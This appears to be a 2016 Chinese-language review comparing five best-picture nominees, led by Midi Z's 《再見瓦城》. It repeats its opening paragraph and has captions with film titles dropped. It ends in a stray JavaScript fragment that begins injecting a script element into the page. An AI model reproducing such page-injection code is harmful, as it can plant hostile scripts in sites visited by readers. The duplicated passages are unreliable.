》從導演趙德胤特有的風格,到男女主角柯震東、吳可熙的真實付出表現,再加上故事劇情完整以及最後的重擊,每個環節都有水準以上的表現,應該是這次5部入圍電影中,整體成績和質感最好的一部。

也因為趙德胤的風格,凌駕演員之上,所以《再見瓦城》的完整性更高,再加上故事非常政治正確,現在哪一國沒有外勞或移民問題,而當故事題材發生在泰緬,這個許多人不太熟悉的環境時,整個劇情的發展和行經過程,更叫觀眾看得津津有味。《再見瓦城》從導演趙德胤特有的風格,到男女主角柯震東、吳可熙的真實付出表現,再加上故事劇情完整以及最後的重擊,每個環節都有水準以上的表現,應該是這次5部入圍電影中,整體成績和質感最好的一部。

本來還有點擔心,根據趙德胤導演以往的作品,可能他只會拍類似的泰緬題材,但沒想到,他也很渴望拍攝二岸合作的電影,甚至科幻片或者關乎台灣議題的影片,也都成,這更叫人期待,當他以往的經驗值,應用在不同類型電影的時候,會撞擊出什麼樣的火花。

 

▲《一路順風》明明主角就是納豆(圖左)和許冠文(圖右),多出戴立忍的線,有點畫蛇添足。(劇照,2016.11.24)

▲《》明明主角就是納豆(圖左)和許冠文(圖右),多出戴立忍的線,有點畫蛇添足。(劇照,2016.11.24)

如果拿《一路順風》跟《再見瓦城》作比較的話,格局的確比較小,但卻富有台灣味,可惜的是他的故事不夠飽滿豐富,既然納豆和許冠文是重心的話,不懂他為何還要去經營可有可無的戴立忍那條線?

戴立忍的戲分集中在「割頭皮」就好,結果他過多的表演,反而削弱了整個故事走向,讓觀眾必須從納豆和許冠文身上抽離出來,去看一下戴立忍過多的戲,也讓整部電影有被分割的感覺。

港片《樹大招風》由3位新銳導演執導,3個主角3種遭遇3個導演,卻沒有牴觸感,相當不錯,但總帶著港片那種誇張戲劇味道,叫觀眾有點無法融入角色,感覺只是像個事不關己的旁觀者故事而已。

而最後結局,照道理來講,應該是給觀眾一種「原來如此」的小驚奇才對,但卻莫名有種洩氣感,叫人無法明確指出,到底是哪個環節不對勁了?難道成也三個導演,敗也三個導演嗎?

 

▲《我不是潘金蓮》挺令人失望。(網路圖,2016.11.24)

▲《》挺令人失望。(網路圖,2016.11.24)

《八月》貌似台灣的《童年往事》,講的是一個小男孩放暑假期間發生的事,但絕非走溫情路線,導演張大磊居然是藉小男孩看到的事,隱隱批判大陸當時的社會狀況,也讓這部看似在講童年的電影,有了很不一樣的「叛逆感覺」,但畢竟仍算是小品,應該無法跟《再見瓦城》對抗,但可以入圍最佳影片,不知道是不是對導演敢叛逆的鼓勵性質居多。

《我不是潘金蓮》整部影片,都叫人很出戲,看似馮小剛導演想要批判什麼,卻搞得不倫不類,甚至最後還變成是一部說教片,雖然馮導的電影看得不多,但這片真是令人失望。var d=document;var s=d.createElement(‘script’);